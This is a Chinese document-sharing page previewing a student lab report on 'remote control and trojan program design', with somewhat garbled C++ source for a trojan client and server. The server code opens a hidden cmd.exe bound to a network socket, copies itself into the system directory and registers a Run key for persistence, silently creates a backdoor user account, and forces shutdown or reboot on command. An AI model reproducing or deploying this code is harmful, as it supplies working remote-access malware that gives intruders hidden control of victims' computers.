欢迎来到冰点文库! | 帮助中心 分享价值,成长自我!
冰点文库
全部分类
  • 临时分类>
  • IT计算机>
  • 经管营销>
  • 医药卫生>
  • 自然科学>
  • 农林牧渔>
  • 人文社科>
  • 工程科技>
  • PPT模板>
  • 求职职场>
  • 解决方案>
  • 总结汇报>
  • ImageVerifierCode 换一换
    首页 冰点文库 > 资源分类 > DOCX文档下载
    分享到微信 分享到微博 分享到QQ空间

    远程控制与木马程序设计Word格式.docx

    • 资源ID:7851511       资源大小:187.85KB        全文页数:19页
    • 资源格式: DOCX        下载积分:3金币
    快捷下载 游客一键下载
    账号登录下载
    微信登录下载
    三方登录下载: 微信开放平台登录 QQ登录
    二维码
    微信扫一扫登录
    下载资源需要3金币
    邮箱/手机:
    温馨提示:
    快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。
    如填写123,账号就是123,密码也是123。
    支付方式: 支付宝    微信支付   
    验证码:   换一换

    加入VIP,免费下载
     
    账号:
    密码:
    验证码:   换一换
      忘记密码?
        
    友情提示
    2、PDF文件下载后,可能会被浏览器默认打开,此种情况可以点击浏览器菜单,保存网页到桌面,就可以正常下载了。
    3、本站不支持迅雷下载,请使用电脑自带的IE浏览器,或者360浏览器、谷歌浏览器下载即可。
    4、本站资源下载后的文档和图纸-无水印,预览文档经过压缩,下载后原文更清晰。
    5、试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。

    远程控制与木马程序设计Word格式.docx

    1、5实验结果及结论客户端运行后如下图所示:1、输入“add”命令后,创建用户成功服务器端提示命令成功用命令行查看用户情况用户“yaoxiangwen”已经成功创建2、输入”shutdown”后,电脑自动关闭成功3、输入”reset”后,电脑自动重启4、输入”close”后,光驱关闭5、输入”open”后,光驱自动打开6、输入”shell”后,查看任务管理器如下图Cmd命令行已经被创建7、输入quit后,服务器端成功退出8、重启系统后,服务器端成功自动启动,说明软件开机具有自启动功能。6附录:程序清单及说明程序清单:Client.cpp / 客户端代码Server.cpp / 服务器端代码程序代码

    2、及说明:/Client.cpp文件#include /包含标准输入输出库winsock.h /包含windows套接字函数iostreamusing namespace std;#pragma comment(lib,Ws2_32) /将注释wsock32放置到lib文件中,否则需要加载 #define MAXSIZE 2048 /每次可以接收的最大字节 #define SEND_PORT 2000 /与木马程序连接的端口为2000struct sockaddr_in ClientAddr; /对方的地址端口信息SOCKET sock; /定义套接字变量,为全局变量DWORD startSoc

    3、k() /建立套接字功能模块 WSADATA WSAData; /将WSAData的数据类型声明为WSADATA if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0) /MAKEWORD(2,2)预定义Winsock版本,初始化套接字 printf(sock init fail); return(-1); sock = socket(AF_INET, SOCK_STREAM, 0); /连接对方 return 1;int main(int argc, char *argv) u_int numbyte; char bufMAXSIZE; /传送数据的缓冲区 cha

    4、r ip100; coutip; startSock();/调用建立套接字功能函数 ClientAddr.sin_family = AF_INET; /协议类型是INET ClientAddr.sin_port = htons(SEND_PORT); /连接对方2000端口 ClientAddr.sin_addr.s_addr = inet_addr(ip); /连接对方的IP地址 connect(sock, (struct sockaddr *)&ClientAddr,sizeof(struct sockaddr); printf(-远程控制木马程序菜单-rnadd -建立Windows系统

    5、的秘密帐号rnshutdown -关闭Windows计算机rnreset -重新启动Windows计算机rnclose -关闭光驱rnopen -打开光驱rnshell -建立cmd进程rnquit -退出系统rnBIT-gaoping-rn while(1) buf0 = 0; scanf(%s,buf);/输入控制指令 int iLen = strlen(buf); bufiLen = 0xa; bufiLen+1 = /要求控制指令串最后为回车符,以示结束 numbyte=send(sock, buf, strlen(buf), 0);/发出控制指令 if(numbyte=SOCKET_

    6、ERROR) closesocket(sock); break; numbyte=recv(sock, buf, MAXSIZE, 0);/接收服务端发来的提示符 bufnumbyte = /显示服务端发来的提示符 if(strcmp(buf, quit) = 0 ) return 0; return 0;/Server.cpp文件winsock2.h /包含标准输入输出函数mmsystem.h /光驱控制函数mciSendString()所需的头文件 /包含C+系统输入输出函数string /包含字符串处理函数winuser.h /WinExec()函数所需的头文件)/将注释wsock32放

    7、置到lib文件中,否则需要加载Winmm.lib)/光驱控制函数mciSendString()所需的库#define RECV_PORT 2000 /木马服务端对外响应的端口#define PATH 200 /程序自启动的最大路径SOCKET sock1,sock2;/sock1为服务端程序自身建立的套接字/sock2为服务端与客户端建立响应后的套接字int g1;char Buff1024,cmd1024;/缓冲区 sock1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); /建立套接字,为TCP/IP、流式格式 str

    8、uct sockaddr_in serverAddr; /保存套接字地址的结构体 serverAddr.sin_family = AF_INET; /规定使用IPv4协议 serverAddr.sin_port = htons(RECV_PORT); /响应端口 serverAddr.sin_addr.s_addr=ADDR_ANY; /建立IP地址,ADDR_ANY可使用任意IP地址连接 g1=bind(sock1,(sockaddr *)&serverAddr,sizeof(serverAddr); /绑定端口与套接字 g1=listen(sock1,5);/等待监听,最大可接受5个连接请

    9、求 int serverAddrSize = sizeof(serverAddr); sock2=accept(sock1,(sockaddr *)&serverAddr,&serverAddrSize); /如果客户请求2000端口,接受连接,并返回sock2套接字int cmdshell(SOCKET sock) /建立cmd进程功能模块 STARTUPINFO startinfo; /控制进程的主窗口的显示方式 ZeroMemory(&startinfo,sizeof(startinfo); startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_

    10、USESTDHANDLES; / 决定本结构的每一个成员是否起作用 startinfo.wShowWindow = SW_HIDE;/窗口显示模式,隐藏格式 startinfo.hStdInput = startinfo.hStdOutput = startinfo.hStdError = (void *)sock; /标准输入输出管道 char cmdsystem = cmd/cmd进程 PROCESS_INFORMATION ProcessInformation;/ 指向进程信息结构的指针 int g2; /下面为建立进程过程 g2=CreateProcess(NULL,cmdsystem

    11、,NULL,NULL,1,0,NULL,NULL,&startinfo,&ProcessInformation); /建立一个cmd.exe进程与相应的输入输出管道 WaitForSingleObject(ProcessInformation.hProcess, INFINITE);/等待子进程退出 TerminateProcess(ProcessInformation.hProcess, 0); /在一个子进程中强制结束其他的进程 CloseHandle(ProcessInformation.hProcess);/关闭子进程句柄DWORD startExeFile() /自启动程序功能模块

    12、char ExeFilePATH; /木马程序缓冲区 char TempPathPATH;/系统目录缓冲区 int g3; GetModuleFileName(NULL,ExeFile,PATH);/得到当前文件名 GetSystemDirectory(TempPath ,PATH); /得到系统目录 strcat(TempPath,server.exe/拷贝到系统文件夹名为server.exe g3 = CopyFile(ExeFile, TempPath, FALSE); HKEY key;/关键字句柄 if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, Softw

    13、areMicrosoftWindowsCurrentVersionRun, 0, KEY_ALL_ACCESS, &key ) = ERROR_SUCCESS) /创建和打开一个关键字 RegSetValueEx(key,server,0,REG_SZ,(BYTE *)TempPath,lstrlen(TempPath); / 在RUN键下建立一个server键,为该木马的路径 RegCloseKey(key); /关闭并保存DWORD Open_CDROM()/打开光驱程序功能模块 mciSendString(set cdaudio door open, NULL, 0, NULL); /多

    14、媒体控制函数DWORD Close_CDROM()/关闭光驱程序功能模块 mciSendString(Set cdaudio door closed wait, NULL, 1, NULL);/多媒体控制函数return 1;DWORD shutdownwin2k()/关闭Win2K程序功能模块 HANDLE hToken; TOKEN_PRIVILEGES tkp; / Windows2K中需要设置调用进程的权限,当获取该权限后才能关闭计算机的操作 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUE

    15、RY, &hToken); LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges0.Luid); tkp.PrivilegeCount = 1; / 设置一个权限 tkp.Privileges0.Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ExitWindowsEx(EWX_SHUTDOWN |EWX_FORCE, 0);DWORD shutdownwin98

    16、()/关闭Win98程序功能模块 ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE,0);DWORD resetwin98()/重新启动Win98程序功能模块 ExitWindowsEx(EWX_REBOOT |EWX_FORCE,0);DWORD resetwin2k()/重新启动Win2K程序功能模块 / Windows2K系列,需要设置调用进程的权限,获得权限才能进行重新启动计算机的操作 ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);DWORD adduser()/建立秘密帐号程序功能模块 WinExec(net user

    17、yaoxiangwen 0123456789 /add,SW_HIDE); /建立秘密帐号:yaoxiangwen为用户帐号,0123456789为密码/下面为主函数,通过调用各个功能模块来实现木马功能int main() startExeFile();/ startSock() ; unsigned long ByteRead = 0; send(sock2,远程控制系统,请输入你的选择!nrcmd,sizeof(欢迎进入木马远程控制系统,请输入你的选择!),0); ZeroMemory(cmd,1024); /初始化cmd缓冲区,用来装客户端发来的指令 ByteRead = 0; /接收客

    18、户端发来的指令字节数 while(ByteRead else if(strcmp(cmd,close Close_CDROM(); /调用关闭光驱模块程序shell)=0) cmdshell(sock2); /调用CMD进程模块程序Create the cmd Shell OKnrcmdshutdown98 shutdownwin98();/调用关闭Win98系统计算机模块程序shutdown the windows98 OKnrcmdshutdown shutdownwin2k();/调用关闭Win2K系统计算机模块程序shutdown the windows2k OKnrcmdreset9

    19、8 resetwin98(); /调用启动Win98系统计算机模块程序reset the windows98 OKnrcmdreset resetwin2k(); /调用启动Win2K系统计算机模块程序reset the windows2k OKnrcmdadd adduser(); /调用建立秘密帐号模块程序net user yaoxiangwen 0123456789 /add OKnrcmdnet user xxdk gao/add OKnrcmd /退出木马,并关闭套接字 closesocket(sock2); exit(0); else Bad command,Please input the word try againnrcmd /显示输入有误,重新输入 Sleep(10); /延时


    注意事项

    本文(远程控制与木马程序设计Word格式.docx)为本站会员主动上传,冰点文库仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知冰点文库(点击联系客服),我们立即给予删除!

    温馨提示:如果因为网速或其他原因下载失败请重新下载,重复下载不扣分。




    关于我们 - 网站声明 - 网站地图 - 资源地图 - 友情链接 - 网站客服 - 联系我们

    copyright@ 2008-2023 冰点文库 网站版权所有

    经营许可证编号:鄂ICP备19020893号-2


    收起
    展开